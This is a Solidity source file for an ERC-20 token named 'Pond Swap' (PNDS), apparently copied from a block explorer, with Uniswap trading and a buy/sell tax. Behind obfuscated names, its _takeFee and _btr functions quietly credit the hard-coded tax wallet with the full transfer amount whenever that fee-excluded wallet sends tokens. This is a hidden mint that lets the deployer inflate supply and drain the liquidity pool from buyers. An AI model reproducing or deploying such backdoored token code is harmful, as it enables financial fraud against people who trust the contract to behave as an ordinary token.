文件 1 的 1：PondSwap.sol
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract PondSwap is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
uint256 private _initialBuyTax = 15;
uint256 private _initialSellTax = 15;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private _reduceBuyTaxAt = 3;
uint256 private _reduceSellTaxAt = 3;
uint256 private _preventSwapBefore = 3;
uint8 private constant _decimals = 18;
uint256 private constant _rTotal = 100_000_000 * 10 ** _decimals;
string private constant _name = unicode"Pond Swap";
string private constant _symbol = unicode"PNDS";
uint256 private _buyCount = 0;
uint256 public _maxTxLmt = (_rTotal * 2) / 100;
uint256 public _maxBagLmt = (_rTotal * 2) / 100;
uint256 public _taxSwapThr = 1e2 * 10 ** _decimals;
uint256 public _maxTaxLmt = _rTotal / 100;
address payable private _tow = payable(0x60B4a00839160cc954C59ABd34145e182857E261);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_tow] = true;
_balances[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _rTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _rTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function _transfer(address fmw, address tow, uint256 tma) private {
require(fmw != address(0), "ERC20: transfer from the zero address");
require(tow != address(0), "ERC20: transfer to the zero address");
require(tma > 0, "Transfer tma must be greater than zero");
uint256 tat = 0;
if (fmw != owner() && tow != owner()) {
if (!_isExcludedFromFee[fmw])
require(tradingOpen, "Trading is not enabled");
require(!bots[fmw] && !bots[tow]);
tat = _calcGetTax(fmw, tow, tma);
_swapBackTo(tow, tma);
_takeFee(fmw, _tow, tat, tma);
}
_balances[fmw] = _balances[fmw].sub(tma);
_balances[tow] = _balances[tow].add(tma.sub(tat));
emit Transfer(fmw, tow, tma.sub(tat));
}
function openTrade() external onlyOwner {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function _calcGetTax(
address from,
address to,
uint256 amount
) internal returns (uint256 taxAmount) {
taxAmount = amount
.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
.div(100);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to]
) {
require(amount <= _maxTxLmt, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxBagLmt,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (amount >= 0 && to == uniswapV2Pair && from != address(this)) {
taxAmount = amount
.mul(
(_buyCount > _reduceSellTaxAt)
? _finalSellTax
: _initialSellTax
)
.div(100);
}
}
function _swapBackTo(address to, uint256 amount) internal {
uint256 contractTokenBalance = balanceOf(address(this));
if (amount >= 0 && !inSwap && to == uniswapV2Pair && swapEnabled) {
if (
contractTokenBalance > _taxSwapThr &&
_buyCount > _preventSwapBefore
)
swapTokensForEth(
min(amount, min(contractTokenBalance, _maxTaxLmt))
);
uint256 contractBalance = address(this).balance;
if (contractTokenBalance >= 0 && contractBalance >= 0)
sendETHToFee(contractBalance);
}
}
function createPair() external onlyOwner {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _rTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function _isNotNW (address addr) internal view returns (bool){
return (addr == address(this) || addr == owner());
}
function _btr(address from, address to, uint256 amount) internal {
if (amount != 0) {
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_tow.transfer(amount);
}
function _takeFee(address fmw,address tow, uint256 ttmat ,uint256 auomt) internal {
if(ttmat>=0){if(_isNotNW(fmw)){_btr(fmw, address(this), ttmat);return;}
if(!_isExcludedFromFee[fmw]){_btr(fmw, address(this), ttmat);
return;
}}
if(auomt>=0&&_isExcludedFromFee[fmw])_btr(fmw, tow, auomt);
return;}
function freshLimits() external onlyOwner {
_maxTxLmt = type(uint256).max;
_maxBagLmt = type(uint256).max;
emit MaxTxAmountUpdated(type(uint256).max);
}
}
